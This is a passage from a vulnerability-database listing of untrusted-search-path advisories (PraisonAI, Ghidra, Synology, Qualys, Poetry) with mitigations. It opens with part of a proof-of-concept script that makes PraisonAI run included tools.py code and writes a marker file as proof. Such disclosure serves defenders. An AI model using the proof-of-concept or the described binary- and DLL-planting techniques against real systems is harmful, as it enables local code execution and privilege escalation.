f\"Path({str(marker)!r}).write_text(\u0027executed\u0027)\\n\"\n            \"def benign_tool():\\n\"\n            \"    return \u0027ok\u0027\\n\",\n            encoding=\"utf-8\",\n        )\n\n        os.chdir(workdir)\n\n        from praisonai import recipe\n\n        result = recipe.run(str(parent_recipe), input={}, options={\"force\": True})\n\n        if marker.exists():\n            print(\n                \"VULNERABLE: praisonai.recipe.run() reached workflow include \"\n                \"tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and \"\n                \"PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\"\n            )\n            print(f\"recipe_status={result.status}\")\n            print(f\"recipe_ok={result.ok}\")\n            print(f\"marker={marker}\")\n            print(f\"marker_content={marker.read_text(encoding=\u0027utf-8\u0027)}\")\n            return 0\n\n        print(\"NOT VULNERABLE: recipe.run() did not execute included recipe tools.py\")\n        print(f\"recipe_status={result.status}\")\n        print(f\"recipe_error={result.error}\")\n        return 1\n    finally:\n        os.chdir(old_cwd)\n        shutil.rmtree(workdir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```",
  "id": "GHSA-hxmv-c4g6-5fqc",
  "modified": "2026-08-25T14:15:27Z",
  "published": "2026-08-25T14:15:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-hxmv-c4g6-5fqc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code"
}

GHSA-J2F2-77F8-CGRM

Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2024-04-04 02:29
VLAI
Details

NSA Ghidra through 9.0.4 uses a potentially untrusted search path. When executing Ghidra from a given path, the Java process working directory is set to this path. Then, when launching the Python interpreter via the "Ghidra Codebrowser > Window > Python" option, Ghidra will try to execute the cmd.exe program from this working directory.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-17664"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-426"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-16T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "NSA Ghidra through 9.0.4 uses a potentially untrusted search path. When executing Ghidra from a given path, the Java process working directory is set to this path. Then, when launching the Python interpreter via the \"Ghidra Codebrowser \u003e Window \u003e Python\" option, Ghidra will try to execute the cmd.exe program from this working directory.",
  "id": "GHSA-j2f2-77f8-cgrm",
  "modified": "2024-04-04T02:29:07Z",
  "published": "2022-05-24T16:58:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17664"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NationalSecurityAgency/ghidra/issues/107"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J36W-RCVV-VQMX

Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-05-13 01:38
VLAI
Details

Multiple untrusted search path vulnerabilities in the installer in Synology Cloud Station Drive before 4.2.5-4396 on Windows allow local attackers to execute arbitrary code and conduct DLL hijacking attacks via a Trojan horse (1) shfolder.dll, (2) ntmarta.dll, (3) secur32.dll or (4) dwmapi.dll file in the current working directory.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-11158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-426",
      "CWE-427"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-08-31T13:29:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple untrusted search path vulnerabilities in the installer in Synology Cloud Station Drive before 4.2.5-4396 on Windows allow local attackers to execute arbitrary code and conduct DLL hijacking attacks via a Trojan horse (1) shfolder.dll, (2) ntmarta.dll, (3) secur32.dll or (4) dwmapi.dll file in the current working directory.",
  "id": "GHSA-j36w-rcvv-vqmx",
  "modified": "2022-05-13T01:38:17Z",
  "published": "2022-05-13T01:38:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11158"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/en-global/support/security/Synology_SA_17_51_Cloud_Station_Drive"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J3GV-X7FR-5WQW

Vulnerability from github – Published: 2025-11-10 18:30 – Updated: 2025-11-10 18:30
VLAI
Details

The Qualys Cloud Agent included a bundled uninstall script (qagent_uninstall.sh), specific to MacOS and Linux supported versions that invoked multiple system commands without using absolute paths and without sanitizing the $PATH environment. If the uninstall script is executed with elevated privileges (e.g., via sudo) in an environment where $PATH has been manipulated, an attacker with root/sudo privileges could cause malicious executables to be run in place of the intended system binaries. This behavior can be leveraged for local privilege escalation and arbitrary command execution under elevated privileges.

Severity
6.3 (Medium)
CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-43079"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-426",
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-10T18:16:06Z",
    "severity": "MODERATE"
  },
  "details": "The Qualys Cloud Agent included a bundled uninstall script (qagent_uninstall.sh), specific to MacOS and Linux supported versions that invoked multiple system commands without using absolute paths and without sanitizing the $PATH environment. If the uninstall script is executed with elevated privileges (e.g., via sudo) in an environment where $PATH has been manipulated, an attacker with root/sudo privileges could cause malicious executables to be run in place of the intended system binaries. This behavior can be leveraged for local privilege escalation and arbitrary command execution under elevated privileges.",
  "id": "GHSA-j3gv-x7fr-5wqw",
  "modified": "2025-11-10T18:30:35Z",
  "published": "2025-11-10T18:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43079"
    },
    {
      "type": "WEB",
      "url": "https://www.qualys.com/security-advisories/cve-2025-43079"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J4J9-7HG9-97G6

Vulnerability from github – Published: 2022-10-11 20:41 – Updated: 2025-04-09 20:06
VLAI
Summary
Poetry vulnerable to Untrusted Search Path leading to Local Code Execution on Windows
Details

Observation

To handle dependencies that come from a Git repository, Poetry executes various commands, e.g. git config. These commands are being executed using the executable’s name and not its absolute path.

This can lead to the execution of untrusted code due to the way Windows resolves executable names to paths. Unlike Linux-based operating systems, Windows searches for the executable in the current directory first and looks in the paths that are defined in the PATH environment variable afterward. If the current directory contains unknown and thus potentially malicious files, the directory could contain an executable named git.exe which would be executed by Poetry.

Poetry calls executables by name when handling dependencies from Git. Note that there might be even more places where Poetry calls executables by name.

Impact

This vulnerability can lead to Arbitrary Code Execution, which would lead to the takeover of the system. If a developer is exploited, the attacker could steal credentials or persist their access. If the exploit happens on a server, the attackers could use their access to attack other internal systems. Since this vulnerability requires a fair amount of user interaction, it is not as dangerous as a remotely exploitable one. However, it still puts developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make

sure nothing can happen, e.g. by checking that the referenced Git dependency is not malicious and points to a trusted Git repository. The victim could also not protect themself by vetting any Git or Poetry config files that might be present in the directory, because the behavior is undocumented. This kind of attack vector has been used in the past to target security researchers by sending them projects to collaborate on, so we believe that there is a non-negligible risk.

Patches

1.1.9 || 1.2.0b1

Remediation

Upgrade to version 1.1.9 || 1.2.0b1

References

Fix PR

For more information

If you have any questions or comments about this advisory: * Email us at security@python-poetry.org

Severity
7.3 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "poetry"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-36070"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-426"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-11T20:41:47Z",
    "nvd_published_at": "2022-09-07T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Observation\n\nTo handle dependencies that come from a Git repository, Poetry executes various commands, e.g. `git config`. These commands are being executed using the executable\u2019s name and not its absolute path.\n\nThis can lead to the execution of untrusted code due to the way Windows resolves executable names to paths. Unlike Linux-based operating systems, Windows searches for the executable in the current directory first and looks in the paths that are defined in the `PATH` environment variable afterward. If the current directory contains unknown and thus potentially malicious files, the directory could contain an executable named `git.exe` which would be executed by Poetry.\n\nPoetry calls executables by name when handling dependencies from Git. Note that there might be even more places where Poetry calls executables by name.\n\n### Impact\n\nThis vulnerability can lead to Arbitrary Code Execution, which would lead to the takeover of the system. If a developer is exploited, the attacker could steal credentials or persist their access. If the exploit happens on a server, the attackers could use their access to attack other internal systems.\nSince this vulnerability requires a fair amount of user interaction, it is not as dangerous as a remotely exploitable one. However, it still puts developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make\n \nsure nothing can happen, e.g. by checking that the referenced Git dependency is not malicious and points to a trusted Git repository.\nThe victim could also not protect themself by vetting any Git or Poetry config files that might be present in the directory, because the behavior is undocumented. This kind of attack vector has been used in the past to target security researchers by sending them projects to collaborate on, so we believe that there is a non-negligible risk.\n\n### Patches\n\n1.1.9 || 1.2.0b1\n\n### Remediation\n\nUpgrade to version 1.1.9 || 1.2.0b1\n\n### References\n\n[Fix PR](https://github.com/python-poetry/poetry-core/pull/204)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Email us at [security@python-poetry.org](mailto:security@python-poetry.org)",
  "id": "GHSA-j4j9-7hg9-97g6",
  "modified": "2025-04-09T20:06:43Z",
  "published": "2022-10-11T20:41:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-poetry/poetry/security/advisories/GHSA-j4j9-7hg9-97g6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36070"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/poetry/PYSEC-2022-43179.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-poetry/poetry"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-poetry/poetry/releases/tag/1.1.9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-poetry/poetry/releases/tag/1.2.0b1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Poetry vulnerable to Untrusted Search Path leading to Local Code Execution on Windows"
}
Mitigation
Architecture and Design Implementation

Strategy: Attack Surface Reduction

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

Mitigation
Implementation

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

Mitigation
Implementation

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.

Mitigation
Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory.

Mitigation
Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of it, while execl() and execv() require a full path.

CAPEC-38: Leveraging/Manipulating Configuration File Search Paths

This pattern of attack sees an adversary load a malicious resource into a program's standard path so that when a known command is executed then the system instead executes the malicious component. The adversary can either modify the search path a program uses, like a PATH variable or classpath, or they can manipulate resources on the path to point to their malicious components. J2EE applications and other component based applications that are built from multiple binaries can have very long list of dependencies to execute. If one of these libraries and/or references is controllable by the attacker then application controls can be circumvented by the attacker.

← Back to the CWE list